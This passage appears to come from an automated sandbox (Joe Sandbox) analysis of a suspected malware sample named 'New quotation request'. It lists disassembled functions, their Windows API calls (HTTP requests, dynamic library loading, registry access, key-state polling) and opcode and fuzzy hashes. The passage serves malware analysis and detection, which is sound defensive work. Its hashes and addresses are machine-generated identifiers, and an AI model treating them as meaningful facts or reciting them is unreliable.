                                                                    • InternetCloseHandle.WININET(00000000), ref: 003218E9
                                                                      • Part of subcall function 00322483: GetLastError.KERNEL32(?,?,00321817,00000000,00000000,00000001), ref: 00322498
                                                                      • Part of subcall function 00322483: SetEvent.KERNEL32(?,?,00321817,00000000,00000000,00000001), ref: 003224AD
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                                    • String ID:
                                                                    • API String ID: 3113390036-3916222277
                                                                    • Opcode ID: a1ece0e7036597b50f414a254a8e55dd5bb47d5624d5e2166d07cbd1e721bebc
                                                                    • Instruction ID: 4f7b7b25573dcfa581f456c0d4a48499028b4d238e70ffbbfd5545e933c14b6e
                                                                    • Opcode Fuzzy Hash: a1ece0e7036597b50f414a254a8e55dd5bb47d5624d5e2166d07cbd1e721bebc
                                                                    • Instruction Fuzzy Hash: 0021CFB2500318BFEB129F61EDC5EBF77EDEB59744F10412AF805A6240EB219D0497A1
                                                                    Function 003363E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002B1D73
                                                                      • Part of subcall function 002B1D35: GetStockObject.GDI32(00000011), ref: 002B1D87
                                                                      • Part of subcall function 002B1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 002B1D91
                                                                    • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00336461
                                                                    • LoadLibraryW.KERNEL32(?), ref: 00336468
                                                                    • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0033647D
                                                                    • DestroyWindow.USER32(?), ref: 00336485
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                                    • String ID: SysAnimate32
                                                                    • API String ID: 4146253029-1011021900
                                                                    • Opcode ID: 7be61184d919b6304ca3c9a9ff449be91a8bcfac543afae735aa4802547e5aff
                                                                    • Instruction ID: 586eb90cf7a121803d7519019cdec3b61efa410eb2e09beb2477a38caaf363f9
                                                                    • Opcode Fuzzy Hash: 7be61184d919b6304ca3c9a9ff449be91a8bcfac543afae735aa4802547e5aff
                                                                    • Instruction Fuzzy Hash: 5221BB71A00205BFEF124F65ECC2EBA37ACEB48324F118629FA10960A0C731DC519720
                                                                    Function 00316D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetStdHandle.KERNEL32(0000000C), ref: 00316DBC
                                                                    • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00316DEF
                                                                    • GetStdHandle.KERNEL32(0000000C), ref: 00316E01
                                                                    • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00316E3B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateHandle$FilePipe
                                                                    • String ID: nul
                                                                    • API String ID: 4209266947-2873401336
                                                                    • Opcode ID: 21e1d9bb7102b8233da4a580fc0d6810cece7a7ffa5a8d3784041450488e8aad
                                                                    • Instruction ID: 4c8a4f901afea761423ff20f59425e3300caeabbd9982e12066e1a49f57fe115
                                                                    • Opcode Fuzzy Hash: 21e1d9bb7102b8233da4a580fc0d6810cece7a7ffa5a8d3784041450488e8aad
                                                                    • Instruction Fuzzy Hash: F821A774600209EFDB259FA9EC46ADA77F8EF48720F204A19FCA1D72D0D7709990CB50
                                                                    Function 00316E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetStdHandle.KERNEL32(000000F6), ref: 00316E89
                                                                    • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00316EBB
                                                                    • GetStdHandle.KERNEL32(000000F6), ref: 00316ECC
                                                                    • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00316F06
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CreateHandle$FilePipe
                                                                    • String ID: nul
                                                                    • API String ID: 4209266947-2873401336
                                                                    • Opcode ID: ce66107647ccf9bab99eccfbf4ec9d9f4010f988da1769a687c3b948395942f9
                                                                    • Instruction ID: 848546b9c406dc5e8e6ad53333aad8f0fa29217d7d9bca1ffca2187d1e2237c1
                                                                    • Opcode Fuzzy Hash: ce66107647ccf9bab99eccfbf4ec9d9f4010f988da1769a687c3b948395942f9
                                                                    • Instruction Fuzzy Hash: E421A1795003059FDB269FA9DD46AEA77A8EF49720F200B19FCE0D72D0D770A891CB60
                                                                    Function 0031AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0031AC54
                                                                    • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0031ACA8
                                                                    • __swprintf.LIBCMT ref: 0031ACC1
                                                                    • SetErrorMode.KERNEL32(00000000,00000001,00000000,0033F910), ref: 0031ACFF
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$InformationVolume__swprintf
                                                                    • String ID: %lu
                                                                    • API String ID: 3164766367-685833217
                                                                    • Opcode ID: 9348d8e22d5f35d7aab096865bfe7589de8cb8f8ca24eed291231c0b4725a7a4
                                                                    • Instruction ID: c42587a67d9f884c7c71594f9186aee2018b741a735bef86c70846057e9b0d53
                                                                    • Opcode Fuzzy Hash: 9348d8e22d5f35d7aab096865bfe7589de8cb8f8ca24eed291231c0b4725a7a4
                                                                    • Instruction Fuzzy Hash: 44216D30A00109AFCB11EF65C985EEEBBB8EF49314F004069F909EB252DA31EA51CB61
                                                                    Function 00311142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0030FCED,?,00310D40,?,00008000), ref: 0031115F
                                                                    • Sleep.KERNEL32(00000000,?,?,?,?,?,?,0030FCED,?,00310D40,?,00008000), ref: 00311184
                                                                    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0030FCED,?,00310D40,?,00008000), ref: 0031118E
                                                                    • Sleep.KERNEL32(?,?,?,?,?,?,?,0030FCED,?,00310D40,?,00008000), ref: 003111C1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CounterPerformanceQuerySleep
                                                                    • String ID: @1
                                                                    • API String ID: 2875609808-1806379685
                                                                    • Opcode ID: 74b16dc2aa9f6791c4e439f992785ff6aa6938c40cb1215f68d64792810efd20
                                                                    • Instruction ID: c597d0948eaaef4ed2c7e762146a454555b5e4746ecc7891d168329a287f0da0
                                                                    • Opcode Fuzzy Hash: 74b16dc2aa9f6791c4e439f992785ff6aa6938c40cb1215f68d64792810efd20
                                                                    • Instruction Fuzzy Hash: E2111831D00519EBCF069FA5E889BEEFB78FB09711F414066EB41B2240CB7095A08BA5
                                                                    Function 00311AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?), ref: 00311B19
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpper
                                                                    • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                                    • API String ID: 3964851224-769500911
                                                                    • Opcode ID: 0520056bc8d49dd1144c121032cb94ad2c4e028e9c381ff02f235b452a027a9b
                                                                    • Instruction ID: c6708544545560838e91ba79e7258de4127af3b46a0fd74e4b143589353b5be3
                                                                    • Opcode Fuzzy Hash: 0520056bc8d49dd1144c121032cb94ad2c4e028e9c381ff02f235b452a027a9b
                                                                    • Instruction Fuzzy Hash: E5118E349201088FCF05EF54D8919EEB3B4FF2A304F148465DA55672A1EB325D16CF50
                                                                    Function 0032EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0032EC07
                                                                    • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0032EC37
                                                                    • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0032ED6A
                                                                    • CloseHandle.KERNEL32(?), ref: 0032EDEB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                                    • String ID:
                                                                    • API String ID: 2364364464-0
                                                                    • Opcode ID: 986d7fbace717d0a05bbd8b73ab0b95ff0b7031892430b8b55cf8eae46a6db5b
                                                                    • Instruction ID: 18a7bd0e5dcbf1f404579c1f740916aa660782048dc20927f70f3bddab3d4f4e
                                                                    • Opcode Fuzzy Hash: 986d7fbace717d0a05bbd8b73ab0b95ff0b7031892430b8b55cf8eae46a6db5b
                                                                    • Instruction Fuzzy Hash: 2E819E716043119FD721EF28D886F6AB7E9AF48750F04881DFA999B292DB70AC50CF81
                                                                    Function 002D541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                                                    • String ID:
                                                                    • API String ID: 1559183368-0
                                                                    • Opcode ID: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                                                    • Instruction ID: ef7e4292e3abb9495ec898da5de770ff41e44235f8b649e3b8cc37bf28da6de5
                                                                    • Opcode Fuzzy Hash: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                                                    • Instruction Fuzzy Hash: AF51D830A20B16DBDB258F69D88066E77A6AF40320F64872BF825963D0D7F1DDB08F41
                                                                    Function 00330037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 00330E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0032FDAD,?,?), ref: 00330E31
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003300FD
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0033013C
                                                                    • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00330183
                                                                    • RegCloseKey.ADVAPI32(?,?), ref: 003301AF
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 003301BC
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                                                    • String ID:
                                                                    • API String ID: 3440857362-0
                                                                    • Opcode ID: dce4316dfafa6a37634004f86ca8c084dd6b2f11473ced5464fca4606e366ada
                                                                    • Instruction ID: aec43a1cc65d35a7a4c00074340a26bccf075bca658063e299e509d6106b8a98
                                                                    • Opcode Fuzzy Hash: dce4316dfafa6a37634004f86ca8c084dd6b2f11473ced5464fca4606e366ada
                                                                    • Instruction Fuzzy Hash: 74516D31618204AFC719EF58CC91FAAB7E9FF84314F44492DF5968B2A2DB31E914CB52
                                                                    Function 0032D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0032D927
                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 0032D9AA
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0032D9C6
                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 0032DA07
                                                                    • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0032DA21
                                                                      • Part of subcall function 002B5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00317896,?,?,00000000), ref: 002B5A2C
                                                                      • Part of subcall function 002B5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00317896,?,?,00000000,?,?), ref: 002B5A50
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 327935632-0
                                                                    • Opcode ID: 86b8e107355296e4d6dd7a1b81df42f6af5bddd76a988e7668f1c99fa1ad5de5
                                                                    • Instruction ID: 3edb3d5299cdfb1625738ff3122f545b8719379e57fd3ec1a20fda9674c626b5
                                                                    • Opcode Fuzzy Hash: 86b8e107355296e4d6dd7a1b81df42f6af5bddd76a988e7668f1c99fa1ad5de5
                                                                    • Instruction Fuzzy Hash: CE512635A04619DFCB01EFA8D4849ADB7B8FF09324B05C065E955AB322D730ED95CF90
                                                                    Function 0031E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0031E61F
                                                                    • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0031E648
                                                                    • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0031E687
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0031E6AC
                                                                    • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0031E6B4
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 1389676194-0
                                                                    • Opcode ID: e208bc061099183a24d07fc02632323ffc039ac064c5581b803560a6be279a0e
                                                                    • Instruction ID: f653d88d8cf88de61cef11702cc9a2d52528f6cfb8884dbe3a911fde99a9f045
                                                                    • Opcode Fuzzy Hash: e208bc061099183a24d07fc02632323ffc039ac064c5581b803560a6be279a0e
                                                                    • Instruction Fuzzy Hash: 6E511835A10205DFCB05EF64C981AAEBBF5EF09354F1480A9E909AB362CB31ED61DF50
                                                                    Function 0033A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: eab766dfcf347441f3b8a14d2cd4e68b00d867cca44ba0a6be2484615082dc1f
                                                                    • Instruction ID: 99654222d14ec6436aea23eb57ce1dddef36ce80987a1e4dc578f5aee8e04991
                                                                    • Opcode Fuzzy Hash: eab766dfcf347441f3b8a14d2cd4e68b00d867cca44ba0a6be2484615082dc1f
                                                                    • Instruction Fuzzy Hash: E341F635D04904BFD726DF28CCC9FAABBACEB09310F160265F896A72E1C770AD41DA51
                                                                    Function 002B2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCursorPos.USER32(?), ref: 002B2357
                                                                    • ScreenToClient.USER32(003757B0,?), ref: 002B2374
                                                                    • GetAsyncKeyState.USER32(00000001), ref: 002B2399
                                                                    • GetAsyncKeyState.USER32(00000002), ref: 002B23A7
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AsyncState$ClientCursorScreen
                                                                    • String ID:
                                                                    • API String ID: 4210589936-0
                                                                    • Opcode ID: 3c2d0bfd65795f2f7fd6699d06d7b4dfd7babbff9ae1db7f671668f320069ff3
                                                                    • Instruction ID: da1627336276c3330cbfe6e5587987c3a413ad1adbaf1ec756d74faca3763bb8
                                                                    • Opcode Fuzzy Hash: 3c2d0bfd65795f2f7fd6699d06d7b4dfd7babbff9ae1db7f671668f320069ff3
                                                                    • Instruction Fuzzy Hash: 9E41A335914206FFCF169F69CC85AE9BBB4FB05360F604355F829962A0C7349DA4DF90
                                                                    Function 003063AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003063E7
                                                                    • TranslateAcceleratorW.USER32(?,?,?), ref: 00306433
                                                                    • TranslateMessage.USER32(?), ref: 0030645C
                                                                    • DispatchMessageW.USER32(?), ref: 00306466
                                                                    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00306475
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Message$PeekTranslate$AcceleratorDispatch
                                                                    • String ID:
                                                                    • API String ID: 2108273632-0
                                                                    • Opcode ID: a4c967bc7504407236bd022b08a9956bcfcc83915accf77fbcaea4c30ec487bc
                                                                    • Instruction ID: 7f0e754de742553ecda3e8cb8a41599efacc7e5d028aee03b6cc23d7c1104e10
